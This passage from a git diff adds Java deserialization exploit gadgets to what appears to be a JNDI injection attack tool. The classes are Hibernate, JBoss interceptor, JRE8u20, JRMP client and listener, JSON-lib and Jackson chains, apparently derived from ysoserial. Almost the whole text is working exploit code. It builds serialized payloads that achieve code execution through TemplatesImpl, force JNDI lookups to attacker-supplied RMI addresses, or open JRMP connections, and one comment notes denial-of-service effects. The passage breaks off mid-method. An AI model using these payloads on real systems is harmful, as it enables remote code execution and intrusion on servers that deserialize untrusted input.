tplClass.getDeclaredMethod(method), propName); + Object arr = Array.newInstance(getterIf, 1); + Array.set(arr, 0, g); + return arr; + } + + + public static Object makeHibernate5Getter(Class tplClass, String method) throws NoSuchMethodException, SecurityException, + ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Class getterIf = Class.forName("org.hibernate.property.access.spi.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); + Constructor bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class); + Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method)); + Object arr = Array.newInstance(getterIf, 1); + Array.set(arr, 0, g); + return arr; + } + + + public Object getObject(PayloadType type, String... param) throws Exception { + final Object tpl; + if (JYsoMode.contains("yso")) { + tpl = GadgetsYso.createTemplatesImpl(param[0]); + } else { + tpl = Gadgets.createTemplatesImpl(type, param); + } + Object getters = makeGetter(tpl.getClass(), "getOutputProperties"); + return makeCaller(tpl, getters); + } + + + static Object makeCaller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, + InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { + if (System.getProperty("hibernate3") != null) { + return makeHibernate3Caller(tpl, getters); + } + return makeHibernate45Caller(tpl, getters); + } + + + static Object makeHibernate45Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, + InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { + PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); + Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); + + ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); + Reflections.setFieldValue(t, "componentTuplizer", tup); + Reflections.setFieldValue(t, "propertySpan", 1); + Reflections.setFieldValue(t, "propertyTypes", new Type[]{ + t + }); + + TypedValue v1 = new TypedValue(t, null); + Reflections.setFieldValue(v1, "value", tpl); + Reflections.setFieldValue(v1, "type", t); + + TypedValue v2 = new TypedValue(t, null); + Reflections.setFieldValue(v2, "value", tpl); + Reflections.setFieldValue(v2, "type", t); + + return Gadgets.makeMap(v1, v2); + } + + + static Object makeHibernate3Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, + InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { + // Load at runtime to avoid dependency conflicts + Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping"); + Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping"); + Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue"); + + PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); + Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); + Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1); + + ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); + HashMap hm = new HashMap(); + hm.put(EntityMode.POJO, tup); + Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm}); + Reflections.setFieldValue(t, "tuplizerMapping", emtm); + Reflections.setFieldValue(t, "propertySpan", 1); + Reflections.setFieldValue(t, "propertyTypes", new Type[]{ + t + }); + + Constructor typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class); + Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); + Reflections.setFieldValue(v1, "value", tpl); + Reflections.setFieldValue(v1, "type", t); + + Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); + Reflections.setFieldValue(v2, "value", tpl); + Reflections.setFieldValue(v2, "type", t); + + return Gadgets.makeMap(v1, v2); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Hibernate2.java b/src/main/java/com/qi4l/jndi/gadgets/Hibernate2.java new file mode 100644 index 00000000..b082be02 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Hibernate2.java @@ -0,0 +1,54 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.sun.rowset.JdbcRowSetImpl; + +/** + * Another application filter bypass + *

+ * Needs a getter invocation that is provided by hibernate here + *

+ * javax.naming.InitialContext.InitialContext.lookup() + * com.sun.rowset.JdbcRowSetImpl.connect() + * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() + * org.hibernate.property.access.spi.GetterMethodImpl.get() + * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() + * org.hibernate.type.ComponentType.getPropertyValue(C) + * org.hibernate.type.ComponentType.getHashCode() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.internal.util.ValueHolder.getValue() + * org.hibernate.engine.spi.TypedValue.hashCode() + *

+ *

+ * Requires: + * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) + *

+ * Arg: + * - JNDI name (i.e. rmi:) + *

+ * Yields: + * - JNDI lookup invocation (e.g. connect to remote RMI) + * + * @author mbechler + */ +@Authors({Authors.MBECHLER}) +public class Hibernate2 implements ObjectPayload, DynamicDependencies{ + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAtLeast(7); + } + + public static String[] getDependencies() { + return Hibernate1.getDependencies(); + } + + public Object getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName(command); + return Hibernate1.makeCaller(rs, Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData")); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JBossInterceptors1.java b/src/main/java/com/qi4l/jndi/gadgets/JBossInterceptors1.java new file mode 100644 index 00000000..e2cd42f4 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JBossInterceptors1.java @@ -0,0 +1,82 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.jboss.interceptor.builder.InterceptionModelBuilder; +import org.jboss.interceptor.builder.MethodReference; +import org.jboss.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.interceptor.reader.DefaultMethodMetadata; +import org.jboss.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.interceptor.spi.metadata.InterceptorReference; +import org.jboss.interceptor.spi.metadata.MethodMetadata; +import org.jboss.interceptor.spi.model.InterceptionModel; +import org.jboss.interceptor.spi.model.InterceptionType; + +import java.lang.reflect.Constructor; +import java.util.*; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", + "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", + "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) +@Authors({Authors.MATTHIASKAISER}) +public class JBossInterceptors1 implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + final Object tpl; + if (JYsoMode.contains("yso")) { + tpl = GadgetsYso.createTemplatesImpl(param[0]); + } else { + tpl = Gadgets.createTemplatesImpl(type, param); + } + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet(); + s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + Reflections.setAccessible(defaultMethodMetadataConstructor); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map> hashMap = new HashMap>(); + + hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); + SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("ysoserial", "ysoserial"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { + + public Object createFor(InterceptorReference paramInterceptorReference) { + + return tpl; + } + }; + + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JRE8u20.java b/src/main/java/com/qi4l/jndi/gadgets/JRE8u20.java new file mode 100644 index 00000000..f671b5a3 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JRE8u20.java @@ -0,0 +1,114 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.*; +import com.qi4l.jndi.gadgets.utils.jre.*; +import com.qi4l.jndi.gadgets.utils.jre.Util; + +import javax.xml.transform.Templates; +import java.beans.beancontext.BeanContextChild; +import java.beans.beancontext.BeanContextSupport; +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@SuppressWarnings({"unused"}) +@Dependencies +@Authors({"frohoff"}) +public class JRE8u20 implements ObjectPayload { + + public static Object makeTemplates(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + Reflections.setFieldValue(templates, "_auxClasses", null); + return templates; + } + + public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception { + TCObject handler = new TCObject(ser) { + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + ByteArrayOutputStream byteout = new ByteArrayOutputStream(); + super.doWrite(new DataOutputStream(byteout), handles); + byte[] bytes = byteout.toByteArray(); + out.write(bytes, 0, bytes.length - 1); + } + }; + TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte) 3); + desc.addField(new TCClassDesc.Field("memberValues", Map.class)); + desc.addField(new TCClassDesc.Field("type", Class.class)); + TCObject.ObjectData data = new TCObject.ObjectData(); + data.addData(map); + data.addData(Templates.class); + handler.addClassDescData(desc, data); + return handler; + } + + public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception { + TCObject obj = new TCObject(ser); + TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport"); + TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport"); + beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class)); + TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData(); + beanContextSupportData.addData(Integer.valueOf(1)); + beanContextSupportData.addData(handler); + beanContextSupportData.addData(Integer.valueOf(0), true); + beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class)); + TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData(); + beanContextChildSupportData.addData(obj); + obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true); + obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData); + return obj; + } + + public Object getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + Serialization ser = new Serialization(); + Object templates = makeTemplates(type, param); + HashMap map = new HashMap(); + map.put("f5a5a608", templates); + TCObject handler = makeHandler(map, ser); + TCObject linkedHashset = new TCObject(ser); + TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet"); + TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData(); + TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet"); + hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class)); + TCObject.ObjectData hashsetData = new TCObject.ObjectData(); + hashsetData.addData(makeBeanContextSupport(handler, ser)); + hashsetData.addData(Integer.valueOf(10), true); + hashsetData.addData(Float.valueOf(1.0F), true); + hashsetData.addData(Integer.valueOf(2), true); + hashsetData.addData(templates); + TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser); + hashsetData.addData(proxy); + linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData); + linkedHashset.addClassDescData(hashsetDesc, hashsetData, true); + ser.addObject(linkedHashset); + + if (JYsoMode.contains("yso")) { + ser.write(System.out); + System.exit(0); + } + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ser.write(out); + byte[] bytes = out.toByteArray(); + return bytes; + } + + public static boolean isApplicableJavaVersion() { + JavaVersion v = JavaVersion.getLocalVersion(); + return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 20))); + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JRE8u20_2.java b/src/main/java/com/qi4l/jndi/gadgets/JRE8u20_2.java new file mode 100644 index 00000000..c349699b --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JRE8u20_2.java @@ -0,0 +1,77 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.utils.*; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import javax.xml.transform.Templates; +import java.beans.beancontext.BeanContextSupport; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.LinkedHashSet; +import java.util.Map; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +public class JRE8u20_2 implements ObjectPayload { + public static Class newInvocationHandlerClass() throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS); + CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" + + " os.defaultWriteObject();\n" + + " }", clazz); + clazz.addMethod(writeObject); + Class c = clazz.toClass(); + return c; + } + + + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + + Class ihClass = newInvocationHandlerClass(); + Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class); + constructor.setAccessible(true); + InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>()); + + Reflections.setFieldValue(ih, "type", Templates.class); + Templates proxy = Gadgets.createProxy(ih, Templates.class); + + BeanContextSupport b = new BeanContextSupport(); + Reflections.setFieldValue(b, "serializable", 1); + HashMap tmpMap = new HashMap<>(); + tmpMap.put(ih, null); + Reflections.setFieldValue(b, "children", tmpMap); + + + LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy + set.add(b); + set.add(templates); + set.add(proxy); + + HashMap hm = new HashMap(); + hm.put("f5a5a608", templates); + Reflections.setFieldValue(ih, "memberValues", hm); + + byte[] ser = Serializer.serialize(set); + + byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71}; + + int i = ByteUtil.getSubarrayIndex(ser, shoudReplace); + ser = ByteUtil.deleteAt(ser, i); // delete 0x78 + ser = ByteUtil.deleteAt(ser, i); // delete 0x70 + + return ser; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JRMPClient.java b/src/main/java/com/qi4l/jndi/gadgets/JRMPClient.java new file mode 100644 index 00000000..7d77504b --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JRMPClient.java @@ -0,0 +1,70 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +import java.lang.reflect.Proxy; +import java.rmi.registry.Registry; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +/** + * UnicastRef.newCall(RemoteObject, Operation[], int, long) + * DGCImpl_Stub.dirty(ObjID[], long, Lease) + * DGCClient$EndpointEntry.makeDirtyCall(Set, long) + * DGCClient$EndpointEntry.registerRefs(List) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + *

+ * Thread.start() + * DGCClient$EndpointEntry.(Endpoint) + * DGCClient$EndpointEntry.lookup(Endpoint) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + *

+ * Requires: + * - JavaSE + *

+ * Argument: + * - host:port to connect to, host only chooses random port (DOS if repeated many times) + *

+ * Yields: + * * an established JRMP connection to the endpoint (if reachable) + * * a connected RMI Registry proxy + * * one system thread per endpoint (DOS) + * + * @author mbechler + */ +@SuppressWarnings({ + "restriction" +}) +@Authors({Authors.MBECHLER}) +public class JRMPClient implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + String host; + int port; + int sep = param[0].indexOf(':'); + if (sep < 0) { + port = new Random().nextInt(65535); + host = param[0]; + } else { + host = param[0].substring(0, sep); + port = Integer.valueOf(param[0].substring(sep + 1)); + } + ObjID id = new ObjID(new Random().nextInt()); // RMI registry + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{ + Registry.class + }, obj); + return proxy; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JRMPClient_Activator.java b/src/main/java/com/qi4l/jndi/gadgets/JRMPClient_Activator.java new file mode 100644 index 00000000..a7024265 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JRMPClient_Activator.java @@ -0,0 +1,35 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +import java.lang.reflect.Proxy; +import java.rmi.activation.Activator; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +@Authors({"mbechler"}) +public class JRMPClient_Activator implements ObjectPayload{ + @Override + public Activator getObject(PayloadType type, String... param) throws Exception { + String host; + int port, sep = param[0].indexOf(':'); + if (sep < 0) { + port = (new Random()).nextInt(65535); + host = param[0]; + } else { + host = param[0].substring(0, sep); + port = Integer.valueOf(param[0].substring(sep + 1)).intValue(); + } + ObjID id = new ObjID((new Random()).nextInt()); + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj); + return proxy; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JRMPClient_Obj.java b/src/main/java/com/qi4l/jndi/gadgets/JRMPClient_Obj.java new file mode 100644 index 00000000..0010b57a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JRMPClient_Obj.java @@ -0,0 +1,32 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +@Authors({"mbechler"}) +public class JRMPClient_Obj implements ObjectPayload{ + @Override + public RemoteObjectInvocationHandler getObject(PayloadType type, String... param) throws Exception { + String host; + int port, sep = param[0].indexOf(':'); + if (sep < 0) { + port = (new Random()).nextInt(65535); + host = param[0]; + } else { + host = param[0].substring(0, sep); + port = Integer.valueOf(param[0].substring(sep + 1)).intValue(); + } + ObjID id = new ObjID((new Random()).nextInt()); + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + return obj; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JRMPListener.java b/src/main/java/com/qi4l/jndi/gadgets/JRMPListener.java new file mode 100644 index 00000000..f716fd6d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JRMPListener.java @@ -0,0 +1,48 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.utils.Reflections; +import sun.rmi.server.ActivationGroupImpl; +import sun.rmi.server.UnicastServerRef; + +import java.rmi.server.RemoteObject; +import java.rmi.server.RemoteRef; +import java.rmi.server.UnicastRemoteObject; + +/** + * Gadget chain: + * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 + * UnicastRemoteObject.reexport() line: 266 + * UnicastRemoteObject.exportObject(Remote, int) line: 320 + * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 + * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 + * LiveRef.exportObject(Target) line: 147 + * TCPEndpoint.exportObject(Target) line: 411 + * TCPTransport.exportObject(Target) line: 249 + * TCPTransport.listen() line: 319 + *

+ * Requires: + * - JavaSE + *

+ * Argument: + * - Port number to open listener to + */ +@SuppressWarnings({ + "restriction" +}) +@Authors({Authors.MBECHLER}) +public class JRMPListener implements ObjectPayload{ + @Override + public UnicastRemoteObject getObject(PayloadType type, String... param) throws Exception { + int jrmpPort = Integer.parseInt(param[0]); + UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{ + RemoteRef.class + }, new Object[]{ + new UnicastServerRef(jrmpPort) + }); + + Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); + return uro; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JSON1.java b/src/main/java/com/qi4l/jndi/gadgets/JSON1.java new file mode 100644 index 00000000..2b86659e --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JSON1.java @@ -0,0 +1,98 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import net.sf.json.JSONObject; +import org.springframework.aop.framework.AdvisedSupport; + +import javax.management.openmbean.*; +import javax.xml.transform.Templates; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +/** + * A bit more convoluted example + *

+ * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[]) + * org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String) + * net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig) + * net.sf.json.JSONObject._fromBean(Object, JsonConfig) + * net.sf.json.JSONObject.fromObject(Object, JsonConfig) + * net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig) + * net.sf.json.JSONObject._processValue(Object, JsonConfig) + * net.sf.json.JSONObject.processValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object) + * javax.management.openmbean.TabularDataSupport.containsValue(CompositeData) + * javax.management.openmbean.TabularDataSupport.equals(Object) + * java.util.HashMap.putVal(int, K, V, boolean, boolean) + * java.util.HashMap.readObject(ObjectInputStream) + * + * @author mbechler + */ +@SuppressWarnings({ + "rawtypes", "unchecked", "restriction" +}) +@Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", + // deep deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", + "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2", + "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"}) +@Authors({Authors.MBECHLER}) +public class JSON1 implements ObjectPayload{ + + public Object getObject(PayloadType type, String... param) throws Exception { + final Object tql; + if (JYsoMode.contains("yso")) { + tql = GadgetsYso.createTemplatesImpl(param[0]); + } else { + tql = Gadgets.createTemplatesImpl(type, param); + } + Class ifaces = Templates.class; + CompositeType rt = new CompositeType("a", "b", + new String[]{"a"}, + new String[]{"a"}, + new OpenType[]{javax.management.openmbean.SimpleType.INTEGER} + ); + TabularType tt = new TabularType("a", "b", rt, new String[]{"a"}); + TabularDataSupport t1 = new TabularDataSupport(tt); + TabularDataSupport t2 = new TabularDataSupport(tt); + + // we need to make payload implement composite data + // it's very likely that there are other proxy impls that could be used + AdvisedSupport as = new AdvisedSupport(); + as.setTarget(tql); + InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as); + InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt)); + InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"); + ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler); + Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler); + final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces); + + JSONObject jo = new JSONObject(); + Map m = new HashMap(); + m.put("t", cdsProxy); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(t1, "dataMap", jo); + Reflections.setFieldValue(t2, "dataMap", jo); + return Gadgets.makeMap(t1, t2); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Jackson.java b/src/main/java/com/qi4l/jndi/gadgets/Jackson.java new file mode 100644 index 00000000..016761aa --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Jackson.java @@ -0,0 +1,55 @@ +package com.qi4l.jndi.gadgets; + +import com.fasterxml.jackson.databind.node.POJONode; +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.Serializer; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import javax.management.BadAttributeValueExpException; +import java.io.ByteArrayOutputStream; +import java.util.Arrays; +import java.util.HashMap; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +public class Jackson implements ObjectPayload { + + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object template; + if (JYsoMode.contains("yso")) { + template = GadgetsYso.createTemplatesImpl(param[0]); + } else { + template = Gadgets.createTemplatesImpl(type, param); + } + + ClassPool pool = ClassPool.getDefault(); + //pool.insertClassPath(new ClassClassPath(Class.forName("com.fasterxml.jackson.databind.node.BaseJsonNode"))); + try { + CtClass ctClass = 